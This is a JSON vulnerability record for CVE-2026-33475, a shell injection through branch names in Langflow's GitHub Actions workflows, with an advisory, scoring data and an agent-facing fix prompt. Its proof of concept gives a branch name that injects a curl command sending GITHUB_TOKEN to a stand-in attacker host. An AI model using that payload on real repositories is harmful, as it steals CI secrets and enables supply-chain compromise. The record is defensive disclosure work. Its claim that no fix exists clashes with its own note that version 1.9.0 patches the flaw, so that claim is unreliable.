{"answers":{"affected":"It affects 1 product.","exploited":"It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-33475 exists.","fix":"No fix has been published for CVE-2026-33475 yet. Limit exposure of the affected software until one is available.","what":"CVE-2026-33475 is a critical command injection vulnerability in Langflow Langflow, published on 24 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for CVE-2026-33475 and fix it if it is affected.\n\nWhat it is: CVE-2026-33475 is a critical command injection vulnerability in Langflow Langflow, published on 24 Mar 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: It is not confirmed as exploited in the wild, but public exploit code for CVE-2026-33475 exists.\n\nAffected product: Langflow Langflow. No package-level version data is available, so check the vendor advisory linked from the reference page.\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/CVE-2026-33475/ (Markdown: https://insights.sbomify.com/CVE-2026-33475/index.md)","id":"CVE-2026-33475","markdown":"https://insights.sbomify.com/CVE-2026-33475/index.md","name":"CVE-2026-33475","record":{"aliases":["GHSA-87cc-65ph-2j4w"],"analysis":{"component_type":"developer_tool","fix_type":"patch","impacts":["code_execution","data_read"],"network_reachable":"yes","non_default_config":false,"product_category":"Langflow CI/CD","requires_auth":"none","summary":"Attackers can execute arbitrary shell commands and exfiltrate secrets via malicious branch names in Langflow GitHub Actions workflows.","user_interaction":"not_required","vuln_class":"command_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":"GitHub_M","cpe":[{"product":"langflow","vendor":"langflow"}],"cvss":{"score":9.1,"severity":"critical","source":"cna","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","version":"3.1"},"cwes":[{"id":"CWE-78","name":"Improper Neutralization of Special Elements used in an OS Command"},{"id":"CWE-74","name":"Improper Neutralization of Special Elements in Output Used by a Downstream Component"}],"description":"Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.\n\n---\n\n### Details\n\nSeveral workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as:\n\n```yaml\nrun: |\n  validate_branch_name \"${{ github.event.pull_request.head.ref }}\"\n```\n\nOr:\n\n```yaml\nrun: npx playwright install ${{ inputs.browsers }} --with-deps\n```\n\nSince `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection.\n\n---\n\n### PoC\n\n1. **Fork** the Langflow repository\n2. **Create a new branch** with the name:\n   ```bash\n   injection-test \u0026\u0026 curl https://attacker.site/exfil?token=$GITHUB_TOKEN\n   ```\n3. **Open a Pull Request** to the main branch from the new branch\n4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)\n5. The `run:` step containing:\n   ```yaml\n   echo \"Branch: ${{ github.head_ref }}\"\n   ```\n   Will execute:\n   ```bash\n   echo \"Branch: injection-test\"\n   curl https://attacker.site/exfil?token=$GITHUB_TOKEN\n   ```\n\n6. The attacker receives the CI secret via the exfil URL.\n\n---\n\n### Impact\n\n- **Type:** Shell Injection / Remote Code Execution in CI\n- **Scope:** Any public Langflow fork with GitHub Actions enabled\n- **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data\n\n---\n\n### Suggested Fix\n\nRefactor affected workflows to **use environment variables** and wrap them in **double quotes**:\n\n```yaml\nenv:\n  BRANCH_NAME: ${{ github.head_ref }}\nrun: |\n  echo \"Branch is: \\\"$BRANCH_NAME\\\"\"\n```\n\nAvoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value.\n\n---\n\n### Affected Files (Langflow `1.3.4`)\n\n- `.github/actions/install-playwright/action.yml`\n- `.github/workflows/deploy-docs-draft.yml`\n- `.github/workflows/docker-build.yml`\n- `.github/workflows/release_nightly.yml`\n- `.github/workflows/python_test.yml`\n- `.github/workflows/typescript_test.yml`","ecosystems":[],"exploits":{"exploitdb":0,"first_seen":"2026-09-04","github_poc":1,"max_poc_stars":0,"metasploit":0,"nuclei":0,"refs":[{"date":"2026-09-04T23:52:02Z","kind":"github_poc","ref":"https://github.com/pvharmo2/gha-lab-9b5e3ccfbe","stars":0,"title":"Security-research lab: reproduction of CVE-2026-33475 (GitHub Actions script injection via PR branch name in deploy-docs-draft.yml), snapshot of langflow-ai/langflow"}],"tier":"weaponised"},"has_fix":false,"headline":"Langflow GitHub Actions Shell Injection","id":"CVE-2026-33475","indexable":true,"kev":null,"kind":"cve","links":{"ecosystem":null,"product":"langflow:langflow","products":["langflow:langflow"],"type":"command_injection","year":"2026"},"n_packages":0,"n_references":1,"next":{"headline":"SiYuan has an Unauthenticated Arbitrary File Read via Path Traversal","id":"CVE-2026-33476"},"packages":[],"prev":{"headline":"Vikunja Affected by DoS via Image Preview Generation","id":"CVE-2026-33474"},"products":["langflow"],"published":"2026-03-24","related":[{"cvss_score":9.8,"headline":"IBM Langflow Code Injection","id":"CVE-2026-9198","kev_date_added":"2026-08-04","published":"2026-07-17"},{"cvss_score":9.8,"headline":"Langflow Inclusion of Functionality from Untrusted Control Sphere","id":"CVE-2026-0770","kev_date_added":"2026-07-21","published":"2026-01-23"},{"cvss_score":9.8,"headline":"Langflow Missing Authentication","id":"CVE-2025-3248","kev_date_added":"2025-05-05","published":"2025-04-07"},{"cvss_score":9.4,"headline":"Langflow Origin Validation Error","id":"CVE-2025-34291","kev_date_added":"2026-05-21","published":"2025-12-05"},{"cvss_score":9.3,"headline":"Langflow Code Injection","id":"CVE-2026-33017","kev_date_added":"2026-03-25","published":"2026-03-20"},{"cvss_score":8.4,"headline":"Langflow Authorization Bypass Through User-Controlled Key","id":"CVE-2026-55255","kev_date_added":"2026-07-07","published":"2026-06-23"},{"cvss_score":10,"headline":"Unauthenticated Server-Side RCE via PythonCodeStructuredTool in Public Flows","id":"CVE-2026-10134","kev_date_added":null,"published":"2026-06-30"}],"sources":[{"class":"attribution","licence":"CVE Terms of Use (MITRE)","name":"CVE List","prefix":"CVE"},{"class":"attribution","licence":"US public information, NVD API terms","name":"NVD"},{"class":"attribution","licence":"CWE Terms of Use","name":"CWE (MITRE)"},{"class":"attribution","licence":"FIRST CVSS licence","name":"CVSS (FIRST)"},{"class":"open","licence":"CC0","name":"PoC-in-GitHub"}],"ssvc":{"automatable":"yes","exploitation":"poc","technical_impact":"total"},"state":"PUBLISHED","updated":"2026-03-25","vendors":["langflow-ai"]},"summary":"Attackers can execute arbitrary shell commands and exfiltrate secrets via malicious branch names in Langflow GitHub Actions workflows.","url":"https://insights.sbomify.com/CVE-2026-33475/"}